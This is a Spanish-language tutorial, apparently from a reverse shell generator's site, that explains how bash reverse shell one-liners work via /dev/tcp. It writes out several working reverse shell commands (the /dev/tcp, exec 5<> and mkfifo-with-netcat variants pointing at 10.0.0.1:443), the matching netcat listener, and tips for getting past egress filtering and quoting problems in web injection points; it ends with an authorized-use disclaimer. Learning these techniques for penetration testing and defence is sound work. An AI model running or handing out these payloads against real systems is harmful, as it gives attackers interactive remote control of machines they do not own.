One-liners de reverse shell en Bash: cómo funciona realmente /dev/tcp
Los one-liners habituales de reverse shell en bash explicados línea a línea, por qué necesitan bash (no sh) y cómo recurrir a alternativas cuando falta /dev/tcp.
El clásico reverse shell de bash es una sola línea, y casi todo el que lo usa no sabe explicar por qué funciona:
bash -i >& /dev/tcp/10.0.0.1/443 0>&1
Merece la pena entenderlo, porque el día que falle —y fallará— necesitas saber qué pieza se ha roto. Esta entrada desglosa los one-liners habituales de bash, explica el truco de /dev/tcp y muestra qué hacer cuando no está disponible.
/dev/tcp es una característica de Bash, no un fichero
No existe ningún dispositivo /dev/tcp real en Linux. Es una ruta virtual que el propio bash intercepta: abrir /dev/tcp/HOST/PORT hace que bash cree una conexión TCP a ese host y puerto. Redirigir hacia ella envía datos por el socket.
Ese único hecho explica el fallo más común: el payload se ejecuta bajo /bin/sh, que en la mayoría de los sistemas es dash, no bash. dash no tiene /dev/tcp, así que la línea falla sin ningún error útil. Si un one-liner de bash no hace nada, la primera pregunta es siempre ¿en qué shell estoy realmente?
El one-liner, descifrado
bash -i >& /dev/tcp/10.0.0.1/443 0>&1
bash -iinicia un bash interactivo. El modo interactivo te da un prompt y control de trabajos.>& /dev/tcp/10.0.0.1/443redirige tanto stdout como stderr al socket TCP, de modo que la salida de los comandos viaja de vuelta a tu listener.0>&1redirige stdin (0) al mismo lugar que stdout (1), es decir, el socket. Ahora bash también lee tus pulsaciones de teclado desde la conexión.
En conjunto: una shell interactiva cuya entrada y salida son ambas el socket de red. En el otro extremo ejecutas:
nc -lvnp 443
y estás escribiendo dentro del bash del objetivo.
Variantes habituales y cuándo usarlas
Cuando la versión elegante no encaja (sin /dev/tcp, una shell restringida, un punto de inyección incómodo), estas son las alternativas habituales.
Redirección explícita, misma idea:
exec 5<>/dev/tcp/10.0.0.1/443; cat <&5 | while read line; do $line 2>&5 >&5; done
¿Sin /dev/tcp? Usa netcat (mkfifo para compilaciones sin -e):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.0.0.1 443 > /tmp/f
La versión con mkfifo existe porque muchas compilaciones modernas de nc eliminan el flag -e (que permitiría ejecutar nc -e /bin/sh). La tubería con nombre reconecta stdin y stdout manualmente para lograr el mismo efecto.
Por qué el tuyo no conecta
Por orden de frecuencia con la que muerde:
- Estás en
sh, no enbash. Antepónbash -c '...'para forzarlo. - La salida está filtrada. Prueba con
443o80en lugar de un puerto alto raro; los puertos web salientes casi siempre están abiertos. - El entrecomillado se destrozó por el camino. Si el payload viajó a través de un parámetro web o JSON, las redirecciones (
>&,0>&1) son sensibles a las comillas; consulta entrecomillado de payloads. - Desajuste del listener. Estás escuchando con la herramienta o el puerto equivocados. Consulta cómo elegir un listener.
Para la lista de comprobación de diagnóstico completa, lee por qué fallan los reverse shells.
Genéralo correctamente a la primera
Reescribir /dev/tcp/HOST/PORT y los operadores de redirección a mano es exactamente donde se cuelan las erratas. El generador de reverse shell emite la variante de bash que quieras —/dev/tcp, la forma exec 5<> o la alternativa con netcat y mkfifo— ya rellena con tu LHOST/LPORT, con el listener correspondiente al lado.
Solo uso autorizado
Genera y ejecuta estos payloads únicamente contra sistemas que poseas o tengas permiso explícito por escrito para probar. La técnica es idéntica con independencia de la intención; la autorización es lo que separa una prueba de penetración de una intrusión.